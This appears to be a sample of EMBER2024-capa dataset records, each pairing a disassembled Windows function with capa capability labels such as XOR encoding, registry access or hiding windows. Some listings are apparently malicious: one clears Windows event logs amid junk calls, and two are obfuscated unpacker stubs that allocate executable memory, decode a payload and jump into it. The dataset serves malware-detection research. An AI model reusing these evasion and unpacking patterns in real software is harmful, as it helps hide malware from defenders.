joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a534
Capabilities:
Check if file exists

Disassembly:
mov eax, 0x1250
call fcn.0041e1c0
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1260]
lea eax, [esp + 0xc]
push edi
mov edi, dword [esp + 0x126c]
or ebx, 0xffffffff
mov ebp, 0x800
push eax
cmp esi, ebx
jne 0x40a5d1
push dword [esp + 0x126c]
call fcn.0047f228
nop
mov esi, eax
cmp esi, ebx
jne 0x40a5f8
push ebp
lea eax, [esp + 0x264]
push eax
push dword [esp + 0x1270]
call fcn.0040b5ac
test al, al
je 0x40a5aa
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x264]
push eax
call fcn.0047f228
nop
mov esi, eax
cmp esi, ebx
jne 0x40a5f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40a5c4
cmp eax, 3
je 0x40a5c4
cmp eax, 0x12
je 0x40a5c4
xor eax, eax
inc eax
jmp 0x40a5c6
xor eax, eax
mov byte [edi + 0x1044], al
jmp 0x40a6a1
push esi
call fcn.0047f030
nop
test eax, eax
jne 0x40a5f0
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
setne al
mov byte [edi + 0x1044], al
cmp esi, ebx
je 0x40a6a1
push ebp
push dword [esp + 0x126c]
push edi
call fcn.0040fd96
push ebp
lea eax, [esp + 0x40]
push eax
push edi
call fcn.0040bc3b
mov ecx, dword [esp + 0x2c]
xor eax, eax
add eax, dword [esp + 0x30]
mov dword [edi + 0x1000], eax
mov eax, dword [esp + 0x10]
adc ecx, 0
mov dword [edi + 0x1008], eax
mov eax, dword [esp + 0x14]
mov dword [edi + 0x1028], eax
mov eax, dword [esp + 0x18]
mov dword [edi + 0x102c], eax
mov eax, dword [esp + 0x1c]
mov dword [edi + 0x1030], eax
mov eax, dword [esp + 0x20]
mov dword [edi + 0x1034], eax
mov eax, dword [esp + 0x24]
mov dword [edi + 0x1038], eax
mov eax, dword [esp + 0x28]
mov dword [edi + 0x103c], eax
lea eax, [esp + 0x24]
mov dword [edi + 0x1004], ecx
lea ecx, [edi + 0x1010]
push eax
call fcn.00410d79
lea eax, [esp + 0x14]
push eax
lea ecx, [edi + 0x1018]
call fcn.00410d79
lea eax, [esp + 0x1c]
push eax
lea ecx, [edi + 0x1020]
call fcn.00410d79
and dword [edi + 0x1040], 0
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1250
ret 0xc

Function at 0x40c36c
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
push ebx
push esi
mov esi, dword [esp + 0x10]
xor ebx, ebx
inc eax
mov cl, bl
cmp esi, eax
jbe 0x40c389
xor cl, byte [eax + edx]
inc eax
cmp eax, esi
jb 0x40c381
cmp cl, byte [edx]
jne 0x40c3c4
push esi
push edx
push 0xffffffffffffffff
call fcn.00405f0c
not eax
mov ecx, ebx
cmp dword [ecx + 0x43d02c], eax
jne 0x40c3aa
cmp dword [ecx + 0x43d028], esi
je 0x40c3b5
add ecx, 0xc
inc ebx
cmp ecx, 0x48
jb 0x40c39a
jmp 0x40c3c4
imul eax, ebx, 0xc
mov ecx, dword [eax + 0x43d030]
mov eax, dword [esp + 0x14]
mov dword [eax], ecx
pop esi
pop ebx
ret 0xc
Function at 0x40eb32
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [0x4471c8]
test esi, esi
jne 0x40eb50
mov ecx, 0x4471c0
call fcn.0040eab3
mov esi, dword [0x4471c8]
mov eax, dword [ebp + 0xc]
xor ecx, ecx
and eax, 0xfffffff0
cmp byte [ebp + 0x14], cl
setne cl
cmp byte [ebp + 0x10], 0
je 0x40eb9f
test esi, esi
je 0x40ebc3
push ecx
push eax
push dword [ebp + 8]
mov ecx, esi
call dword [0x432260]
call esi
test eax, eax
jne 0x40ebe8
push str.CryptProtectMemory_failed
mov esi, 0x43ff50
push esi
call fcn.00406e26
pop ecx
pop ecx
mov ecx, esi
call fcn.00422dc0
push 2
mov ecx, esi
call fcn.00406e21
jmp 0x40ebe8
mov esi, dword [0x4471cc]
test esi, esi
je 0x40ebc3
push ecx
push eax
push dword [ebp + 8]
mov ecx, esi
call dword [0x432260]
call esi
test eax, eax
jne 0x40ebe8
push str.CryptUnprotectMemory_failed
jmp 0x40eb80
push ebx
call fcn.0047dc80
nop
xor edx, edx
mov ebx, eax
cmp dword [ebp + 0xc], edx
jbe 0x40ebe7
mov esi, dword [ebp + 8]
add bl, 0x4b
lea ecx, [edx + esi]
lea eax, [edx + ebx]
xor byte [ecx], al
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x40ebd9
pop ebx
pop esi
pop ebp
ret 0x10
Function at 0x4195b5
Capabilities:
Hide graphical window

Disassembly:
mov al, byte [esp + 0x14]
sub esp, 0x10
push ebx
push ebp
mov ebp, dword [esp + 0x20]
mov ebx, ecx
push esi
push 0
push ebp
mov dword [ebx + 8], ebp
mov byte [ebx + 0x26], al
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esp + 0x20]
mov ecx, ebx
call fcn.004192a4
cmp dword [ebx + 0x1c], 0
je 0x4195ee
push dword [ebx + 0x1c]
call fcn.0042340e
pop ecx
cmp dword [esp + 0x28], 0
jne 0x4195f9
xor eax, eax
jmp 0x419603
push dword [esp + 0x28]
call fcn.00426f4c
pop ecx
mov dword [ebx + 0x1c], eax
mov eax, dword [esp + 0x2c]
mov dword [ebx + 0x20], eax
lea eax, [esp + 0xc]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowRect]
push 2
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetParent]
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
cmp dword [ebx + 4], 0
je 0x41963f
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [esp + 0xc]
mov esi, dword [esp + 0x14]
push edi
push ebx
push dword [ebx]
sub esi, eax
lea edi, [eax + 1]
push 0
push ebp
sub esi, 2
call dword [sym.imp.USER32.dll_GetParent]
push eax
mov eax, dword [esp + 0x2c]
sub eax, dword [esp + 0x24]
push eax
push esi
push dword [esp + 0x2c]
xor esi, esi
push edi
push 0x40000000
push esi
push 0x433484
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebx + 4], eax
pop edi
cmp dword [ebx + 0x10], esi
jne 0x4196c1
test ebp, ebp
je 0x4196d7
cmp dword [ebx + 0x20], esi
jne 0x4196d7
cmp dword [ebx + 0x1c], esi
je 0x4196d7
push dword [ebx + 0x1c]
mov ecx, ebx
call fcn.0041939c
mov esi, eax
test esi, esi
je 0x4196d7
push 5
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push ebp
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.0042340e
pop ecx
jmp 0x4196d7
test eax, eax
je 0x4196d7
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x14
Function at 0x419b4c
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x43434c
push 1
push ebx
push 0x43443c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x419c81
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push esi
push ecx
push 0x43442c
mov esi, dword [eax]
push eax
mov ecx, dword [esi]
call dword [0x432260]
call dword [esi]
test eax, eax
js 0x419c6d
cmp byte [ebp + 8], bl
je 0x419bb2
mov eax, dword [ebp - 8]
push 2
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0x14]
mov ecx, esi
call dword [0x432260]
call esi
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x50]
mov ecx, esi
call dword [0x432260]
call esi
cmp dword [ebp + 0x18], ebx
je 0x419be3
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x1c]
mov ecx, esi
call dword [0x432260]
call esi
mov eax, dword [ebp - 4]
push ebx
mov ecx, dword [eax]
mov esi, dword [ecx + 0x44]
mov ecx, esi
cmp dword [ebp + 0x1c], ebx
jne 0x419bfa
push 0x4325b4
jmp 0x419bfd
push dword [ebp + 0x1c]
push eax
call dword [0x432260]
call esi
cmp dword [ebp + 0x20], ebx
je 0x419c21
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x2c]
mov ecx, esi
call dword [0x432260]
call esi
cmp dword [ebp + 0x14], ebx
je 0x419c3c
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x24]
mov ecx, esi
call dword [0x432260]
call esi
mov eax, dword [ebp - 8]
push 1
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0x18]
mov ecx, esi
call dword [0x432260]
call esi
test eax, eax
js 0x419c5a
mov bl, 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x432260]
call esi
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x432260]
call esi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x41a81f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041e1c0
cmp byte [0x449470], 0
je 0x41a8cd
push 0x800
lea eax, [ebp - 0x200c]
push eax
push dword [ebp + 8]
call fcn.0041bcf0
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41a8cd
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1000
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41a8c4
mov eax, dword [ebp - 4]
mov ecx, 0x7ff
shr eax, 1
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x41a8a8
mov eax, ecx
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x100c], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.0040fd96
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 8
Function at 0x41aa7e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
mov ebx, eax
neg ebx
sbb bl, bl
add bl, 1
je 0x41aad9
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 4]
dec eax
neg eax
sbb al, al
lea ebx, [eax + 1]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x14]
mov ecx, esi
call dword [0x432260]
call esi
pop esi
jmp 0x41aae1
mov eax, dword [ebp + 8]
xor ecx, ecx
mov word [eax], cx
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41cf10
Capabilities:
Hide graphical window

Disassembly:
and dword [0x44744c], 0
push 1
push dword [esp + 8]
mov byte [0x447440], 1
mov byte [0x447441], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 2
push dword [esp + 0xc]
call fcn.004012c8
cmp dword [0x447454], 0
jne 0x41cf50
cmp byte [0x447446], 0
je 0x41cf59
cmp dword [0x44743c], 0
jne 0x41cf6c
push 0
push 1
push 0x111
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
ret 4

Function at 0x41d06f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0041e1c0
cmp byte [0x449470], 0
je 0x41d0fe
cmp word [0x449472], 0
je 0x41d0fe
push esi
push 0x800
lea eax, [ebp - 0x1008]
push eax
push 0x449472
call fcn.0041bcf0
lea eax, [ebp - 8]
xor esi, esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41d0fd
push dword [ebp + 8]
call fcn.004233f3
pop ecx
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4273a4
Capabilities:
Parse pe header

Disassembly:
push 0
call fcn.0047e460
nop
mov ecx, eax
test ecx, ecx
jne 0x4273b5
xor al, al
ret
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x4273b2
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4273b2
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x4273b2
cmp dword [eax + 0x74], 0xe
jbe 0x4273b2
cmp dword [eax + 0xe8], 0
setne al
ret

Function at 0x484b28
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
test eax, eax
jle 0x484b82
push edi
mov edi, dword [ebp + 0x10]
sub dword [ebp + 0xc], edi
mov dword [ebp + 8], eax
mov edi, edi
inc bl
lea edi, [edi + 1]
movzx ebx, bl
mov dl, byte [esi + ebx + 8]
add cl, dl
movzx ecx, cl
mov al, byte [esi + ecx + 8]
mov byte [esi + ebx + 8], al
add al, dl
movzx eax, al
mov byte [esi + ecx + 8], dl
movzx edx, byte [eax + esi + 8]
mov eax, dword [ebp + 0xc]
xor dl, byte [eax + edi - 1]
dec dword [ebp + 8]
mov byte [edi - 1], dl
jne 0x484b48
mov eax, dword [ebp + 0x14]
pop edi
mov dword [esi], ebx
mov dword [esi + 4], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x4022a5
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x58ce99d
jg 0x4022cc
inc edi
cmp edi, 0x1f6502b0
jl 0x4022b4
cmp dword [0x44026c], 0x400
jne 0x402352
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push str.ketunuzututevutixaheve_kur_hucudecagixifelowizin
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push str.conixagewudopipulo
push esi
call fcn.004027a8
push esi
push esi
call fcn.00402a24
fldz
add esp, 8
fstp qword [esp]
call fcn.004028c0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00402580
fstp st(0)
push esi
call fcn.00402ad1
push esi
call fcn.00402ae0
add esp, 0x10
xor edi, edi
cmp edi, 0xd0fe
jge 0x402363
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x58bc6e
jg 0x402381
inc edi
cmp edi, 0xe52f
jl 0x402354
mov eax, dword [0x430304]
mov dword [0x44026c], eax
call fcn.0040202e
mov edi, 0x3078f
cmp dword [0x44026c], 0x51f
jne 0x4023af
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x402395
pop edi
xor eax, eax
pop esi
leave
ret 0x10

Function at 0x406d1e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42fd48]
jne 0x406d28
repz ret
jmp fcn.004095bf
Function at 0x40918a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42fd48]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403d36
and dword [ebp - 0x14], 0
cmp dword [0x43ae24], 0
mov dword [ebp - 0x18], eax
jne 0x40923d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4092e5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4092e5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43ae24], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43ae28], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43ae2c], eax
call edi
push eax
call esi
mov dword [0x43ae34], eax
test eax, eax
je 0x40923d
push 0x42dc90
push ebx
call edi
push eax
call esi
mov dword [0x43ae30], eax
mov eax, dword [0x43ae30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409296
cmp dword [0x43ae34], ecx
je 0x409296
push eax
call esi
push dword [0x43ae34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409296
test ebx, ebx
je 0x409296
call edi
test eax, eax
je 0x40928d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40928d
test byte [ebp - 8], 1
jne 0x409296
or dword [ebp + 0x10], 0x200000
jmp 0x4092c9
mov eax, dword [0x43ae28]
cmp eax, dword [ebp - 0x18]
je 0x4092c9
push eax
call esi
test eax, eax
je 0x4092c9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4092c9
mov eax, dword [0x43ae2c]
cmp eax, dword [ebp - 0x18]
je 0x4092c9
push eax
call esi
test eax, eax
je 0x4092c9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43ae24]
call esi
test eax, eax
je 0x4092e5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4092e7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406d1e
leave
ret
Function at 0x4014b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub esp, 0x400
xor ecx, ecx
mov eax, ecx
shr eax, 1
test cl, 1
je 0x4014c6
xor eax, 0xedb88320
test al, 1
je 0x4014d3
shr eax, 1
xor eax, 0xedb88320
jmp 0x4014d5
shr eax, 1
test al, 1
je 0x4014e2
shr eax, 1
xor eax, 0xedb88320
jmp 0x4014e4
shr eax, 1
test al, 1
je 0x4014f1
shr eax, 1
xor eax, 0xedb88320
jmp 0x4014f3
shr eax, 1
test al, 1
je 0x401500
shr eax, 1
xor eax, 0xedb88320
jmp 0x401502
shr eax, 1
test al, 1
je 0x40150f
shr eax, 1
xor eax, 0xedb88320
jmp 0x401511
shr eax, 1
test al, 1
je 0x40151e
shr eax, 1
xor eax, 0xedb88320
jmp 0x401520
shr eax, 1
test al, 1
je 0x40152d
shr eax, 1
xor eax, 0xedb88320
jmp 0x40152f
shr eax, 1
mov dword [esp + ecx*4], eax
add ecx, 1
cmp ecx, 0x100
jl 0x4014b8
or eax, 0xffffffff
xor ecx, ecx
test edx, edx
jbe 0x40156e
push ebx
push edi
lea esp, [esp]
movzx edi, byte [ecx + esi]
mov ebx, eax
and ebx, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [esp + edi*4 + 8]
add ecx, 1
cmp ecx, edx
jb 0x401550
pop edi
pop ebx
not eax
add esp, 0x400
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406ac2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x406ad1
pop dword [ebp - 0xc]
mov eax, 0x406ad1
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x43b4a629
sub dword [ebp - 0x1c], 0xf56260de
mov dword [ebp - 0x18], 0x9cdb171b
add dword [ebp - 0x18], 0x9558352a
mov dword [ebp - 0x14], 0x24808b12
sub dword [ebp - 0x14], 0xd83446e4
mov dword [ebp - 0x10], 0xdae39a09
add dword [ebp - 0x10], 0x251c65f7
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x7332b851
add eax, 0x8d0e1803
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xda0a0bf3
add dword [ebp - 0x1c], 0x9a685d63
mov dword [ebp - 0x18], 0xb3ab33ea
add dword [ebp - 0x18], 0x8dc12d8b
mov dword [ebp - 0x14], 0xbb26eee1
sub dword [ebp - 0x14], 0x57b78275
mov dword [ebp - 0x10], 0x6b77b827
sub dword [ebp - 0x10], 0x6b77b827
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xc584a7bf
add eax, 0x3abc288d
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x37c86
push 0
call eax
mov ecx, 0x3ffa
mov edx, eax
mov esi, 0x41b000
add esi, dword [ebp - 0xc]
mov ebx, 0x858fedbc
sub ebx, 0x1b619000
mov dword [ebp - 8], 0x85527836
mov edi, dword [esi]
xor dword [ebp - 8], 0xa8b61ec1
add edi, ebx
add dword [ebp - 4], 0x4f206124
mov dword [edx], edi
sub dword [ebp - 4], 0x20f7fe77
add edx, 0x5c11fcb2
add edx, 0xa3ee0352
add esi, 4
loop 0x406be2
add eax, 0xe1211936
sub eax, 0xe120267b
mov ebx, eax
add eax, 0xee25e39f
sub eax, 0xee25e39a
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x10007125
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10007134
pop dword [ebp - 0x10]
mov eax, 0x86320f3c
sub eax, 0x76319e08
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xf040523
add dword [ebp - 0x20], 0x3f4e4028
mov dword [ebp - 0x1c], 0x4a4d84f6
add dword [ebp - 0x1c], 0xe7e5c74f
mov dword [ebp - 0x18], 0x2332739b
sub dword [ebp - 0x18], 0xd6e62f6d
mov dword [ebp - 0x14], 0x22d910e9
sub dword [ebp - 0x14], 0x22d910e9
lea eax, [ebp - 0x20]
push eax
mov eax, 0x6637a5fd
add eax, 0xa9c8da5f
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x3c5c5d36
add dword [ebp - 0x20], 0x38160c20
mov dword [ebp - 0x1c], 0xb2d34fbf
sub dword [ebp - 0x1c], 0x7166ee4a
mov dword [ebp - 0x18], 0x40de02aa
sub dword [ebp - 0x18], 0xdd6e963e
mov dword [ebp - 0x14], 0x43b81b1f
add dword [ebp - 0x14], 0xbc47e4e1
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x72167f07
add eax, 0x9dea0161
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3433a
push 0
call eax
mov ecx, 0xaedea7ee
add ecx, 0x51219397
mov edx, eax
mov ebx, 0xc7a02cba
sub ebx, 0xb79f50ba
add ebx, dword [ebp - 0x10]
mov esi, 0x43152a4
add dword [ebp - 0xc], 0x88f60b70
mov edi, dword [ebx]
add dword [ebp - 4], 0x34fc7faa
xor edi, esi
mov dword [ebp - 8], 0xd95c8209
mov dword [edx], edi
add dword [ebp - 0xc], ecx
add edx, 0x4ffa487f
sub edx, 0x4ffa487b
add ebx, 0xf46fb06
add ebx, 0xf0b904fe
loop 0x10007250
add eax, 0xe0e7
mov ebx, eax
add eax, 0xeb6255dc
sub eax, 0xeb6255d7
mov ecx, 0xd4375170
add ecx, 0x3bc8ae90
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x63e008], 0x8088405
inc edx
mov dword [ebx + 0x63e008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cd64
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cd95
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cd7d
add dl, dl
jne 0x41cda0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cdf1
xor eax, eax
add dl, dl
jne 0x41cdad
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41ce8e
add dl, dl
jne 0x41cdbc
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdc7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdd2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cddd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cde7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cd8c
mov eax, 1
add dl, dl
jne 0x41cdff
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ce0a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cdf6
sub eax, ebx
mov ebx, 1
jne 0x41ce3d
mov ecx, 1
add dl, dl
jne 0x41ce23
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce2e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce1a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41ce54
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce5f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce4b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41ceaf
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cd8c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret